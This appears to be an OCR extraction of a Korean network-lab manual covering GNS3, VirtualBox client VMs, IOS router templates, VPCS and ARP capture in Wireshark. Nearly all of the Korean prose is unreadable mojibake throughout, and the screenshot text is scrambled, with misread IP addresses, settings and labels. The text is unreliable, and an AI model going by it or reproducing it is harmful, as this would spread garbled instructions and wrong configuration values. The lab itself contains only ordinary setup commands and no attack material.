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! [] wireshark 2.2.1
s respone
! Dynamips 0.2.14
| ¥ QEMU 2.4.0 80,110
| ] vpes 0,601
| ] Cpulimit
Space required: 199,4MB ! GNS3 _ v
b ;
< Back Caniel
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HEOIEHWDSSD 25D

2. GNS QIE{Ho[A QLY
GNSQ| QIHIfo|AE IHZIEZ|O|Mel &2 CHE A|E20/E 2t FASICE Y9 AALOAE M2 R =+ X Docks?t HiX| &
Of QUL 2FZo| CIHIO|A FoA ER3 EXSS YIAAHO|A0 =2fast0 HiX|SHC}

—

€ 01_Basic.gns3* - GNS3 — O x
@ Edit View Contro@levic Qin@te G s Help ®
B T T T T T T F R I TR T R s T
- A Qire]
- T'qpo.lqg'_.,.' Su-e @
— @ shcoom
¥y 0 Client

» D) gy

abc.com :

# [ 7Y Client ow

1 : :
g B e = ........................
| [T : @3 Servers Sum-- B ®
: @ NI @ Local EELL
9=~ | s | [
I HYZ,COM @s : :
@ & S oL O : :
= w whelew appliance template | @ 8 T [Seresresereeenseeennennad
®1snle @I
: }aNad management console, &
g Ranring GHS3 vershon b5t o Windows ittt withe Pythom: 3 H 8 0 BT foeeereesrreersessssrnniniiieee
: : | Copyright (o) 2006-2020 GMS3 Technologies, :

lﬂse Help -» GMNS3 Doctor to detect commaon issues,

@© ZRHEQ H2E fot =70IH, dd, E7|, MFO| 7tsottth
@ 2" 2| HRs AYY + ASH, EEZX| Yol ZE A7 AN UAs 0T 7SS
® Z FX 2 AHHO|AMHESRD OfHE, Al2|Y ZE §) BHE BEASHAL &2 5 ALCL
@ BE X9 2&2 HETh
© BE TXE sABO| AIEL FHAl BE, SH MAEES SEH2 +dE = Utk
® ZEHEQ E, 18, MY, EREE Y + A
@ ZRHMEE ZOSAL Zag 5 UL
X ZRHES A3RME MYY 5 UL
® GNSO| SS5& 2t9F, A(X|, TR FX|(VPC 7he MU §), 22 FH 52 552 2oLt 288 IXE HIALHOAZ JHH
ot AHBE = ATt
A

P N .
I AW O|AO|D, Of7|0f 2t2EH, AKX, 7t4 KA S8 0|835t0] EEZX|E T}
@ EEZX0 SE& HHE9 52 Y MEfE =EOjFELCL

@ GNS7t A &0 AFHO| cPu/MEE| &E, GNS VML| MEfE LIEFHCE

® GNS 2| Z&0|0, GNSOIA =H"E|= &9 7|58 HEA|SH,
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eSS BERED

3.GNS 7|2 43
[Setup Wizard]E AFESIX| RS2 2 M Don't show this again® MEiS [Cancel]& S&3HCL

.
GNSe| M2 Edit — Preferences HFS Sl TIHstCt,

@ General — Local Paths &=0|A 0|0] dM3|E GNS &3 CIHEZ|E pathE X|G3iCt

& Preferences ? ot
| General preferences
Server
Packet capture
YPCS . General Console applications WMIC Topology view Miscellaneous
* Dynamips i
10S routers Lacal paths
= |05 on UNIX
10U Devices My projects:
- QEMU : : :
Qemu VMs DENS I Projects Browse, .,
- Vir’guaIBox My binary images:
= vmﬁg?éBox VMs DGHNSIImages Browse,,,
Vidware VYMs My symbals:
* Docker ,
Docker Containers DENSIYSymbols Browse, .,
My configs:
OGNS Configs Browse..,

@ Server =2 GNS VM A2 OJ£0| M2t Local Server £ GNS VM serversS MESICE Cisco 2t EH O|0|X| THYUS ArEdt= Z
2+ Local server 2@52| 1 Enable local serverE MEHSICE

GNS3 VM serverE AME3}7| 2[8M= M Enable the GNS VM2 MEISICE otz B3 E Ed|| Virtualbox, VMWare & 7+ 0{2
of 8= GNS VME CI2E2E & 5= AUACL

% GNS VM : https://www.gns3.com/software/download-vm

Local server GM5S3 WM server Rermote servers

| Enable lozal server
Local server | GNS3 WM server | Remote servers

Enable the GNES3 WM
server path: Yirtualization software
C:Program FilestWGe

Ubridge path:

CiProgram FilesWalk Local GNS3 Wi

General seftings

e Whlware YirtualBox Rernote

Host binding:

- Wil name: | GNS3 Vi - Befresh
127.0,0.1
Port: start Wi in headless maode
080 TCP ACP| shutdown YW when closing GMS3

| Adjust the local server IP to be in the same subnet
| Protect server with |
Allow console conn

Console port range (5900

ROOO TCP (%[ to |10

UDP tunneling port range

10000 UDP .: to | 20000 UDP |5




[03] GNS & I 2 HF
HRIIHN DS D

(ALE =y}

1 X 10S O|OjX|gt?
' |IOSE Internetworking Operating System@| AXF2AM A|AR 2tRE{O] AKX K THAO|ICH GNS MX| Alof
110S Y-S 0|83t0] Fhatel BIREZ MAMBFL 0 S[0|E 0Tt GNSE DynamipsE GUI HHAlo2 X of g

-I> u°+
ro =2
LT
Jhu
o
M
o

4. GNSO||A{ 10s o|O|X] S& %! IDLE PC %t =%

ISO O|0|X|e] S22 Edit — Preference — 10S routers H&F0|A TIgHstot
@ [New]E MEiSIO] MZ2 ZIREE S22 AIEfsiot
& Preferences ? X
General [10S router templates
Server
Packet capture
YPCS

~ Dynamips
= |05 on UNIX
10U Devices
* QEMU
Qemu VYMs
= YirtualBox
YirtualBox ¥Ms
* ¥iware
Yiware Yis
~ Docker
Docker Containers

0K || Cancel Apply

@ [Browse]E ME3t0] SESIIAL ot= 2HPEC| 10 THE S HETiCt

& New 105 router template ? X

105 image =
Please choose an 105 image,

05 image:
Browse,., |
& select an 105 image x
& v A > LEPC » Data (D) » GNS3 » Images v O 0 Images &4
TH - M EDH =~ M @
« Data () * LS v RS ER UE a7)
GMNS3 08
Appliances QEMU
Configs [ c1700-y-mz.123-23.bin 5,305KB
Images [ 7] c2600-adventerprisekd-rmz.124-25d.bin 72,181KB
oS | ] c2691-adventerprisek8-mz.124-25d.BIN =
GEMU |_| €3640-a3js-mz.124-25d BIN : E
| | c3725-adventerprisekd_sna-mz.124-25... oz
Projects - ! . o e
| ] €5300-j-mz.123-17a.bin BIN EHE
Symbals v [ ] c7200-adventerprisekd-mz.151-4. M4 BIN BIN Dh
THS OJZ(N): | c2601-adventerprisekd-mz.124-25d BIN v| |ioS image (“bin *image) v
E71(0) HE
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® MEPt 10S O|O|X| m2 7|= O|O|X| CIHEHE|Z SALEILCY,

i f%----'.- 05 router ter ¢

105 |mage

B T L

(._1:} TIage

| Weould you like to copy c2691-adventerprisekd-mz. 124-25d.BIN to the default
108 images directory

| ves | No =5

@ =4S 10S oIU|7(| oo siEsts 2HRE2 Ol W EE, 7= HEE Y 52 7I=U2= UYL

& New I0S router - c2651-adventerprisekg-mz 124-25d BIN ? X |
& New 105 router - c2691 -adventerprisek-mz.124-25d.BIN ? >
Name and platform
Please choose a descriptive M -
and chassis, emory
Flease check the armount of mernaory (FaR) that vou allocate to 105, Too much
) or not enough AAM could prevent 105 from starting,
Mame:  |c2691]
Plattorm: | o7801 Default Rah: | 192 MiB =
- Check for minimurm and maxirmum B4k requirernent
Chassist|
This is an EtherSwitch router < Back |MET| Eanral
< Back [ MNewt> | Cancel
® BIREQo Zt &R0 FIHHo=Z TR TE0| Y= AL [Network adapters] THAIGA It o~ QUL 3t 2tRF 7H AAZ ¢
s 2ot WIC modulee =7t 7H&3ILE 271 O|&f2| 2tREHQe| HAAS I8 wIC-2TE MEHSICE
& Mew 105 router - c2691-adventerprisekd-mz.124-25d.81N ? bt
Network adapters &
Please choose the default potomrbstmtomnthmd bl b o Aseiink
new instance of this router,| & New 10S router - c2697-adventerprisekg-mz.124-25d.8IN 7 =
Slnt D: GTQE1DD_FE wI(:Pll-rl'Jdl-IIEI.S Al 4 [ FRRe Y] ol Al - L | I H P R i Y
slot 1 ins|

| wic-aT

slat 2 wic [

glot 5t wic 1! -
slot 4. wic 2 =
glot &

slot B <Back || Mext> Cancel

< Back |  HMewt> | Cancel
® ZHRH YA BEE = A= CPU MBE HES EXISH7| U8l [Idle-PC finder]E 225101 X E3 IDLE PCAte MEfTICE
& MNew IOS router - c2691 -adventerprisek@-mz.124-25d.BIN ? *
Idle-PC : 3
An idle-pe value is n| & Please wait [4 X hrocessor or

one of its cores,

Computing |dle-PC values, please wait,.,
[  [1dle-PC finder |

<Back || Finish || Cancel

|dle-PC: | 046024806




[03] GNS & I 2 HF [15]
Sl N Ss W HE85 0
@ MEit 2QE 0| S20| YR ULt CI2 2IQEHE F7t2 SE2Y 49 9o HHS sresit
6 Preferences ? bt
General [10S router templates
Server
Facket capture
A0 i Ggl_nerﬁl 2691
; emplate name: c:
= D' Default narme farmat: R{0}
OS5 routers Servar: local
105 on UNIX Platfarm: cZR91
IOU Devices Image: DRGNS I magesYOSWC 2691 -adventerprisekd-mz, 1 24-25d, BIN
v QEMU S cont N E M ConfigsWios_base._starup-config.twt
artup-config: ; onfigsWios_base_startup-config.tx
Qemu YMs + Memories and disks
* ¥YirtualBox R 192 MiB
YirtualBox ¥Ms Qgﬁrﬁgﬂ%w. EE/B KiB
~ ¥iware i i
CMCI& diskD: 0B
VMware VMs PCMCI4 diskl: 0 MiB
'D[(;Ckli!(r & Agutotdelete: True
ocker Containers ~ Adapters
Slat 0: GTIE100-FE
~ WICs
WIC 0 WIC-2T
4 ¥ ﬂew _Qecnmpress Edit _Qelete
| oK. || Cancel Apply
Q_% Preferences ? bt
General [10S router templates
Server
Packet capture a |
¥YFCS ~ Genera
~ Dynamips a -::2600 Template name: c2691
102 fentaies 269 Default name format:  B{0F
: routers Server: local
vIcl)guﬁg Uh_nlIX Flatfarm EJZ‘E\?(IENSS‘W‘I WOSWC2691-adventerprisekd 124-25d,BIN
evices - mage : mages c2691-adventerprisekd-mz, 124-25d,
~ QEMU W c7200 | idec: OB0adSand ,
_Qemu ViMs VMSEtg'Inl;IrDiecngfll'lgti — D GNSIN ConfigsWios _base_startup-config, txt
* VirtualBox Fihd: 192 MiB
YirtualBox YMs Qgﬁrﬁgﬂ%myl EEE KiB
~ ¥Mware [y %
CHMCIA diski: 0B
VYMware VMs PCMCIA diski: i MiE
'DBCKEIE(I & Agututdelete: True
ocker Containers ~ Adapters
Slot 0: GTIE100-FE
~ WICs
WIC 0 WIC-2T
4 » Mew Decompress Edit Delete
| 0K || Cancel Boply
O|A| VirtualBox2t GNS2| HX| Sl MF0| A=Y, O|H= GNSOAM Z2HMEE MMst1 HEQIE F+d& &= ULt
GNSE 0|8%t0] st HEYI= Z2HE T2 NFSID #2(g £ UL MHE Z2HE L= [03-2 GNS 7|2 47F] =0 X|
Heoh ClMEa|of MR
Z2ME = [File]-[New blank project]E &l 48 = A2M, [File] MM Z2HMEQ MY, E2{27|, MY 52 AYe =&Y =
ALt
& New project ? >
Project
Mame: 01 Metwork_Switch
Location: MGHNS3WProjectsW0l Metwork_Switch | | Browse, .,
Qp_en_a_pr_ojec:t Eecent prnjeu:ts_,,, | (0] | C_a!'ucel
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MU NSstn 38850

X YOHFAILH

' GNSO|| VirtualboxOl M 88t 7ty S SF5HK AN, TS AFE0f Folstot :
Lo 7k BAel olF, ME BRO| o20| ZeEX| $ESE {olvict :
Po- 7k ool HESS 2IHY i 2 4%t :

1. GNSO|| 714 Al 553517
ISO O|0|X|2] S22 Edit — Preference — VirtualBox VMs H70|A| Zlgistct,

@ [New]E MESIO M2Z2 7td HiE SE= AL

& preferences ? X

General | VirtualBox VM templates
Server

Packet capture
YPCS
* Dyvnamips
105 routers
105 on UNIX
10U Devices
* QEMU
Qemu YMs
™ VirtualBox
¥YirtualBox YMs
- ¥Mware
Vidware Vs
* Docker
Docker Containers

oK  Cancel Abply_

@ VirtualBox0ll 44 E JHy DiAlZ 228 FpyeCt,
6 4 tijalBe J template 7 b

¥irtualBox Virtual Machine ‘@

Please choose a VifualBox virtual rachine from the list, w

Wi list: 1 & Please wait ? X B =

Use as a linked base WM (experiments Listing YirtualBox YMs. .,

12%

[ Finish || Cancel
@ 7tH2 7tY DS S8 oM SEC 7H¢0ig dEin;
& New VirtualBox VM template ? *

VirtualBox Virtual Machine &>
Please choose a VinualBow virtual machine fram the list, %5

Wi list:

[iss Aftack

MYZ.COm
DNS

Client
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Hdelolgy

on 0N
J
Q'H
J

@ 7k Mol HE/AR of#E7t 27 ol¢el 32, 7he Ml

mjo

MEf = [Edit]E ME{SICH [Network —Adapters]2| &S VirtualBo

& wirtualBox VM configuration ? *

' abc. com

General settings Metwark

First port name:

Marne format:  |Ethernet{0}

Segment size: n .

Type! Intel PRO/1000 MT Decktop (82540ER) v
Sllowe GMS3to use any configured VirualBox adapter

[ oK || Cancel
©® L2 714 Hilg FIIE S8 42 99 ntdg vtgslict
6 Preferences ? bt
General [¥irtualBox ¥M templates
sServer
Packet capture
YPCS - (:‘qarnerallt b
0 emplate name: abc.com
¥ Dynamips - WinualBox name: abc,com
105 routers B arack FAM: i
vIcl)OSUQB UNIX EENE? | bled chlal
evices = emote congole enabled: False
~ QEMU = xX¥Z.com Headless mode enabled: False
Q Vid E ACPI shutdown enabled: False
emu s =& DNS Linked base “Wh: False
* VirtualBox . . - Nﬁtdwmk 1
VirtualBox YMs 3 ; apters:
- \."Mwa e - Client MName format: Ethernet{0}
Vi Vid Use any adapter False
ware s Type: Intel PRO/1000 MT Deskiop (B2540EM)
* Docker
Docker Containers
Meaw Edit Deleta
[ oK | Cancel .é«ppiy_

X 7he HAO|M 278 ol¢el HEXNSR o”EH 2& o

O 12 GNSo| Z2HMEAM IPFAE 25 ALE, O{HH 2= NATZ 27t OfHH 2= & 0= ifconfig QIEH O
downs 0|83t ArESHA| @1, W{7|X| EX| = Y CHR2L7t Lad Z20T ifconfig AE{HO[AY upo2 MG AL
Ch AFE 0|20 = ifconfig AHEHO|AH down BHE MBS HEI 23%2 WX|BHCL

2

&
&

b

)

&3 Client - 4% ? 3
7 X

] 2w L dEf3
Az OIREN | OIME{2  OIE{ 3 OIHE 4

_ HEHEf 2 OHEHE 3 (HEMES 4
W casso M WE23 HHE ALSSHIE) B
CEM mEsia): [S2ER oe - Ueratal
o |||"';"| T A Lrsm 2EE (AN [NAT i




[TIP] ZFSTHAOA 2] TH7|X| F=7F EX| Y- (NAT AEIO|~ 28) - 1

2l 520N TR E dX[ots L¥2 EX|8 DVD, £ I1SO TtYS 0|83ts WE AHNSE Sl W7|XE Ch22E 2ot X3
HIHS FF ALESHCH

EX& DVD, ISO TtM= 252 X0 A8 + U= WIIXS0| ZE O A0l AEU| ARG AX| @Ot DX 2X|7}

Jtssttt. AHUS S 7|X|E CH2RE ©ot dX|gts B0 Mo XS CEEE EAL I7IXE YH0IE & 5+ s

r|r

fI.I
I
\u

X 7(-Io| Ol[r
oo

QIEUE 0|83ty ZHMmA0 Ij7|X|E MX|stALL YOHO|E/YOY OIS T B2 NATE Sl QU0 AZE &= UCEH HE0| At
23HE Virtualbox®| 7H4MAE HESRI QL O|AE 474X AHBO| 7hsst22 Chgat 20| 40| 7hssitt WESRI QIEHOolA
2 XM= FAHO| M50| AFRSt= Virtualbox, GNS, Linux OCH CHE0| {o|strt,

n Client?] HERQA QAHIo|A Fd HEE OfA|(Linux Mint 19.3 7|&)

X8 | =YD olEHoAY FESY TE
) enp0s3 192.168.1.10/24 GNS A58 EE2X o4

Client enp0s8 NAT OIEY AZ@IR K )
% HEYT JIEHOATE oA WEW, HFH0| T2t enp’, eth” SOZ TS & Tt

® VirtualboxOlA| Client HES3 O{HE MY

& Client- 23 ? ®
e HEA3
A D OIHEN T OI®E 2 HEE S HEE4 .
' 5
Ciasa0| ' A UEHS HEE AESIIIE '
. CSH HZEA: [2E SR = .
Mg TSR e S

& Client - 2% 7 X

[l
e
=
m
e
]

COIEE D EE 2 HEE 3 HHE 4
!

'V FlHIEY 3 HEEr ABEITIE)

v CHEM mEEA): [NAT =

n =
> ¥
o
=]

]
03
[

OO PESTENEN
;E

OD2P&TENEMN
: lo
o

Hy=o3 HEME Z2(T): | Intel PRO/1000 MT Deskion (E254TEM) =
— o) BCp): [
MAC Z M) [DBI02TESDSTE | &
e [ A0 W)
| ze =4 ZE TYTHP)
] v aEmos
B B
® GNSO|M Client HEQ3 OfHiH 47
& virtualBox VM configuration ? x ¥ GNSO| ojo] S&F& ZreHl
. o HERA oY =& ®Z
 Client o He 23 MOl oEE
27} Utk
General settings | Metwork ™ AL, GNSO| S22 7H4
Adapters 2 : = HAls AMHSID CHA| SESHH
-....I.............................: EI_II:I'
First port name:
Marme format:  |Ethernet{0}
Segment size: |0 =
Type: Intel PRO/1000 MT Desktop (B2540EM) -
Allowe GMNS3 to use any configured VirtualBox adapter
| 0Ok || Cancel




[04] GNSOl Virtualbox

[TIP] 7t A0 Q] T7| K| =7} HX| HHEE(NAT QIE{HO|A 28) - 2

n ST A0M NATE O] 8% c

EH
od

oj7|x| X, LH0lE

enp0s3 down ‘ - ‘ enp0s8 up ‘ - ‘ oj7|X] X E£= YHOIE ‘ - ‘ enp0s8 down ‘ - ‘ enp0s3 up
@ HE®SZ HHHE 271 AHEE Z2 Ch31t 20| 27He] HESYZ FEE =Holg o= QUL enp0s3= GNSEO|H, enpls82 NATE

o|&3%t EU AZEOITt
client0il= 2712 AOIEQ0|Z7} &80 2 97 HESYI=S| AZO| AEX

Std, m{7|X| EX & AHU HZA = enp0s8lt AHESHOF BHCL

oto
s =

AL

olo O -

MM ——

QAUCH M2t HEA[0= enp0s3ZH AE

Terminal - root@client: /home/lsunr

File Edit View Terminal Tabs

Help

root@client:/home/sunrin# ifconfig
Tlags=4163<UP,BROADCAST ,RUNNING ,MULTICAST> mtu 1500
inet 192.168.1.10 netmask 255.255.255.0 broadcast 192.168.1.255
inete feBO::8b72:8072:6Tac:4871

ether 88:00:27:d3:f8:78

prefixlen 64

scopeld Ox28<link=

txqueuelen 1800

(Ethernet)

RX packets 2493

bytes 174398 (174.3 KB)

RX errors @ dropped @ overruns @ frame @

Tx packets 2578 bytes 202920 (202.9 KB)

TX errors @ dropped @ overruns @ carrier @

: Tlags=4163<UP,BROADCAST, RUNNING, MULTICAST=

collisions ©

mtu 1580

inet 10.0.3.15

netmask 255.255.255.0 broadcast 10.8.3.255

ineté fTeB0::8a7a:50cB:a737:4d29 prefixlen 64

ether 88:00:27:e5:d9:7e

txqueuelen 1868

scopeld @x28<link=
(Ethernet)

RX packets 1466 bytes 1845888 (1.@ MB)

RX errors @ dropped @

overruns @ frame @

Termina

File Edit View Terminal Tabs Help

10.0.3.0/24 dev enp@s8 proto kernel scope link src 10.8.3.15 metric 101
169.254.0.8/16 dev enpBs3 scope link metric 10888
192.168.1.8/24 dev enp@s3 proto kernel scope link src 192.168.1.10 metric 108

ES o
o= T

@ m7IX 2% 8 QU HAZHO|

ninal - root@client: /home/

Terminal

File View Terminal

Edit Tabs

lient:/home/sunrin# ifconfig enp@s3 down
t@client:/home/sunrin# ifconfig

Help

enpess:

flags=4163<UP,BROADCAST , RUNNING, MULTICAST>

mtu 15608

inet 10.€.3.15

netmask 255.255.255.0 broadcast 18.8.3.255

inet6 fe88::8a7a:58c8:a737:4d29 prefixlen 64

ether 08:00:27:e5:d9:7e

txqueuelen 1088

scopeld @x28<link=>
(Ethernet)

RX packets 78 bytes 21764 (21.7 KB)
overruns @ frame @

RX errors © dropped @
TX packets 127 bytes 30435 (30.4 KB)

TX errors 8@ dropped @ overruns @ carrier 8 collisions 8
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
3 =0ll= NAT 2/
HO|AE H|ZEo5t0 1702 HIEHA AHHO|AR AHESt= 20| FLt.
HEE JheTAol 2ot Ii7|X| 24X % 2¥S ZF RSO HiZY F2, HiEZE Thdmilel NAT 282 28 §lrh
X, YHolE, Yo7t &= E FO= Virtualbox2| ZHdM4l £40| HEXS OfRE 28 HIZES 5k, GNSOIA ZHo
o HE/R ofH =& 1712 HFoiCt
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[TIP] 7t A0 Q] T7|X| =7} HX| HEH(NAT QIE{HO|A 28) - 3

iy

® Otz{et Zo| Zast m7|X|e| HX|, YHO|E, P O0lE & QAU AZO0| Hast XS AT

File Edit View Terminal Tabs Help

B r lient:/home/sunrin# apt install vim
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
vim-common vim-runtime vim-tiny
Suggested packages:
ctags vim-doc vim-scripts indent
The following NEW packages will be installed:
vim vim-runtime
The following packages will be upgraded:
vim-common vim-tiny
2 upgraded, 2 newly installed, © to remove and 293 not upgraded.
184 not fully installed or removed.
Need to get 6,587 kB/7,133 kB of archives.
After this operation, 32.0 MB of additional disk space will be used.
Do you want to continue? [Y/n] l

Terminal - root@client: Thome/sunrnn

File. Edit View Terminal Tabs Help

froot@client:/home/sunrin# apt update
http://packages. Linuxmint.com tessa InRelease
http://security.ubuntu.com/ubuntu bionic-security InRelease [88.7 kB]
Jfarchive.canonical.com/ubuntu bionic InRelease [18.2 kB]
/packages.linuxmint.com tessa Release [24.1 kB]
Jarchive.ubuntu.com/ubuntu bionic InRelease
Jarchive.ubuntu.com/ubuntu bionic-updates InRelease [88.7 kB]
Jarchive.canonical.com/ubuntu bionic/partner 1386 Packages [2,292 B]
ttp://packages.linuxmint.com tessa Release.gpg [819 B]
http://archive.canonical.com/ubuntu bionic/partner amd64 Packages [2,292 B

LB
w2
=

[

[:18 http://archive.canonical.com/ubuntu bionic/partner Translation-en [1,332

® T7IR 4K 52 Slo) elEY AZo| Was

ibal

10| 22| H enp0s8e H|EHdslsirt,

Terminal - root@client: /homessunrin

File Edit View Terminal Tabs Help

froot@client: /home/sunrin# ifconfig enp@s8 down
root@client: /home/sunrin# ifconfig enp@s3 up
root@client: /home/sunrin# ifconfig
enpBs3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1580
inet 192.168.1.18 netmask 255.255.255.8 broadcast 192.168.1.255
inet6 fe80@::8b72:8072:6fac:4871 prefixlen 64 scopeid Bx28<link>
ether 08:00:27:d3:T8:78 txqueuelen 1868 (Ethernet)
RX packets 2043 bytes 142800 (142.8 KB)

R¥ errors @ dropped 8 overruns 8 frame @
TX packets 2184 bytes 174187 (174.1 KEB)
TX errors @ dropped © overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK, RUNNING> mtu 65536
ipet 127.8.8.1 netmask 255.0.0.0
'|.‘.'Z"-="'-._!. -.__.:_;:_E-_..._.-.-. Mome/sunrin
File' Edit View Terminal Tabs Help

root@client:/home/sunrin# ip route
default via 192.168.1.254 dev enp@s3 proto static metric 20102
169.254.0.8/16 dev enp@s3 scope link metric 1868

192.168.1.0/24 dev enpBs3 proto kernel scope link src 192.168.1.10 metric 102
root@client: /home/sunrin# I




:

[05] VPCS 2t & JI2 EEZX
5]

VPcs oL W V|2 EE2X A
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=
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=S EZX 74 [22]
el nSstn dE22SH)

® VPCe =EHQ Z£2 S Holg + AcH MEY = U= YHO = ? 2= =200| 7h5st, YHO ALE WY 2HRE, 29

X SOM A8t FBIH FALSHTE

X VPCE CHE FX|eF AZEO UK BoW FYO| 275522, AKX £ CHE
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QB TSD B

2. GNs 7|2 EBE2X| 14
@ Y=o Clufojx FojM TR HXE MeslD, @ YIAHOAN S2j1 HE SEOZ HIXSD, HiX 0|20t @ AZ It
=V ERSE:

o
ofzfel < [Add a link|E 0|83t EX| BT @ TRZE AEAO= ZE M0 Rofsttt
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:)C ATM switch

| Servers Sum--- [5G
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CLEMNEI MEAnagement consale, =
| Running GMS3 version 1,5 4 on Windows (B4-hit) with Python 360 0t 571,
| Copyright (o) 2006-2020 GMS3 Technologies,

Use Help -»> GMS3 Doctor to detect commmon issues,
f= =

& untitled gns3* - GNS3 - O b

File Edit View Control Device Annotate Tools Help
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: g : Running GM33 version 1.5.4 on Windows (B4-bit) with Python 360 Gt 571,
=| | Copyright (o) 2006-2020 GNS3 Technologies,

"""""""" UUze Help -> GMS3 Doctor to detect common issues,
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| Console

SNSRI MEanagement consale,

| Running GMNS3 version 1,5 4 on Windows (B4-hit) with Python 360 0t 571,
| Copyright (c) 2006-2020 GMS3 Technologies,

| Use Help -» GM33 Doctor to detect commaon issues.
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AEE F 4 Yk SYE FHSS % Yaok £B2X WO I I MO HECch

& untitled gns3* - GNS3
File: Edit View Control Device Annotate @i Help

3 -. -
) 1> i =

End devices (=1ES] Topology Sum: - @ &
b 0 abc,com
b 00 Client
b5

I abe,com

Attack 4

| Cloud

DS

Servers Bum- B
& Local CPU -

Host
YPCS

®yz,com

+New appliance ternplate

Console

GISI MANSgennent consore,

Running GMNS3 version 15,4 on Windows (B4-bit) with Python 36,0 Ot 5,71,
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07 VLAN 74

(LAN)

7|2

[

looz
1003
1004
1005

fddi-default
token-ring-default
fddinet-default
trnet-default

active

ol

Ports

Fal/1, Fa0/Z, Fa0/3, Fal/4
Fa0O/f5, FalO/&, Fald/7, FalsB
Fa0/%, Fa0/10, Fa0/11, Fal/f12Z
Fal/12, Fal/1l4, Fald/ 15, Fa0/la
Fal/s17, Falysl8, Falds15, Fa0/20
FaO/21, Fal/22, Fal/23, Fal/Z4
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HRQHY IS BE25D
m LAN 74 9 7|2 ZT2EZ 0|8§(IPFEL, ARP, ICMP)
1. LAN(192.168.1.0) T+ 35}7|
GNS2| VPCSet ALK& 0|88t ChE LANZ Td3tCh
VPCS P4 AMEunrAad
PC1 192.168.1.11 255.255.255.0
PC2 192.168.1.12 255.255.255.0
& 01_Network_Switch.gns3 - GNS3 - O ®

Fle Edit View Control Device Annotate Tools Help

i > "H =1
— - S~ Fafl -~ B
#. Configure
“tf Change hestname
aw Change symbeol
PC Lo Show in file manager PC2

e [

B Custom conscle

# Impert config

Export config 192.168.1.12
. Capture 255.2558.265.0

= Start
W Stop

= Reload

Console
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GROEHUDSSD RS

2. IPF2, ARP(Address Resolution Protocol), ICMP(Internet Control Message Protocol)
PC1, PC20{ 192.168.1.11, 192.168.1.122} Z2 IPFAE MA3I0] 192.168.1.02| LAN(Local Area Network)e TA3SIYCE LANO| ZEEtHEl
PC1, PC2= 192.168.1.11, 192.168.1.12%} Z2 IPFA T AFESIX|TH LANOIA HO|EE F&37] QM= MZO MAC FAEZN F4)

=
=

£ mpotsfof stct O IHOIM IPE EZXRSE7| Qe =Eto 2 ARP(Address Resolution Protocol)?b AR EICE.
ICMP(Internet Control Message Protocol)= WEQIO|A TICHO[L} KO0 F=E ALEkl= ZEEZO|CL ping, tracroute?t 22 FH
0|83l0] M0 ZAEQ| F& o8, FHX| ZAENK|Q 42 52 Holg = ULCL

o= SC=

fjo
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I510] [Start Capture]S ME4SCE

& 071 _Network_Switch.gns3 - GNS3 - O x
File Edit View Control Device Annotate Tools Help

Pk OF> > HC Fmlicoaamn

al Tapology Summary eS|
» ©PCH
» £ PC2

HiE pc2 P £ SWH

| Servers Summary @5
) Local CPU 1.9

-0 @1

192.168.1.11 192.168.1.12
255.255.255.0 205, 255,.255.0
i 3
Caonsaole (=]
Running GN§3 varsion 1.5.4 on Windows {Bd-bit) with Python 360 Gt 5 7.1, -
Copyright (o) 2006-2020 GMS3 Technologies,
Use Help -» GM53 Doctor to detect common issues,
= =

@ WAS AXSLLX of= e ZES MESIY 2HO|0AISE HATICY.

File Edit W\iew Control Device Annotate Tools Help
& e | fuphed | -
-| ) @ B C FmEIIIoQE
al Tapology Summary EI@:

P 8 PCI |
» £ PC2
pE) SWH

PC1 PCZ

m €& Packet capture ? it
s

Please select a port:

| Servers Summary EJ

| 51 port | (Ethernet encapsulation: DLT_EN10ME) - € Local CPU 24 -
192.168.1. e — oee
255. 255, 2¢ [ Ok || Cancel
e

Conzole =

AT AT T

riGd |

Running GNSS versmn 1 5 4 on Windows (B4-bit} with Python 360 Gt 5 7.1,
Copyright (o) 2006-2020 GMS3 Technologies,
Use Help -» GM53 Doctor to detect common issues,
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@ HEEQl A0|O{AFR0| PC10| IPFA B85S 20I517| ARPL| 2ZF 2l GARPE St AE &olg = UCH
== 4 {8 ArEBCH ARPRIE CHEH| | Y
PFEAE FT7HO|A AM8ED UCH= 2|0|7} EIC

0l
A Capturing from - [SW1 1 to PC1 Ethernet0) - O pd
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help

B ® RE | &== PSS I=Eaaqs
(W[ &pply a display filter - <Crl-/> =] ~| Expression--  +
Ma, Source g Destination Protocol  Length  Info

1 Private 66:653:00 Broadcast ARP 64 Gratuitous ARP for 192.168.1.28 (Request)

2 Private 66:65:00 Broadcast ARP 64 Gratuitous ARP for 192.168.1.28 (Request)

3 Private 66:68:00 Broadcast ARP 64 Gratuitous ARP for 192.168.1.28 (Request)

Protocol size: 4 ”

Opcode: request (1)
:Sender MAC address: Private 66:68:08 {88:58:79:66:68:68}:

s Sender IP address: 192.168.1.28 ]
:Tar‘ge‘t MAC address: Broadcast (ff:ff:ff:ff:ff:ff) :
o lorget IP address: 132,168.1.20 @ & @ W e e e amanas v
[ 6o16 08 08 06 04 68 50 79 66 68 00 c0 a8 01 14 ... -[{-P yfh-.... S
Ff Ff ff ff ff ff cO a8 ©1 14 00 00 00 00 00 08 - ------- o
W

¥ Opcode (arp.opcode), 2 bytes || Packets: 3: Displayed: 3(100,0%) || Profile; Default
X 99| T4Zlo| Sender IP address@t Target IP address?t 192.168.1.2022 RF ZSS &0lE £ ULk GARP MZ0| 3 MEE=

SO O ZAEQME SE(Reply) IHAUS HESHA| AU2LEE 192.168.1.202 Al 2EE= Qe A2E HEHSD, pC19|
PELAE 192.168.1.202 2 HZEICH

ofo
o
F|F
for ™

rl

QIZaL Zt0| PC3E FIIStD IPFEAZ 192.168.1.1322 A
Moot
O MHOAM HSEE GARP IHZS &OI8lY IPFA B2
2 UXsts PEE gelstot

192.168.1.11 192.168.1.12

255, 255, 255.0 el 255,255, 266.0

vecs [
=<  192.168.1.13

255, 255.255.0
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eSS BERED

192.168.1.11
255.255.255.0

ztel g o517

Qzat ZHo| pC30| F7IEl EEZX|0|A PC39 IPFEA
192.168.1.11 E& 192.168.1.122 BiZsiCt
3 oA MEElE GARP IiZES =olsta,

Zitet O ZIof Cigt siMS ofafof =

il

IPFEA

A gotAl2.

E

192.168.1.12
el 255,255, 2550
vocs [N
P S
192.168.1.13

255,255,.255.0

PC32l 2& 3tH AN

PC32| Z2& 3tH 49

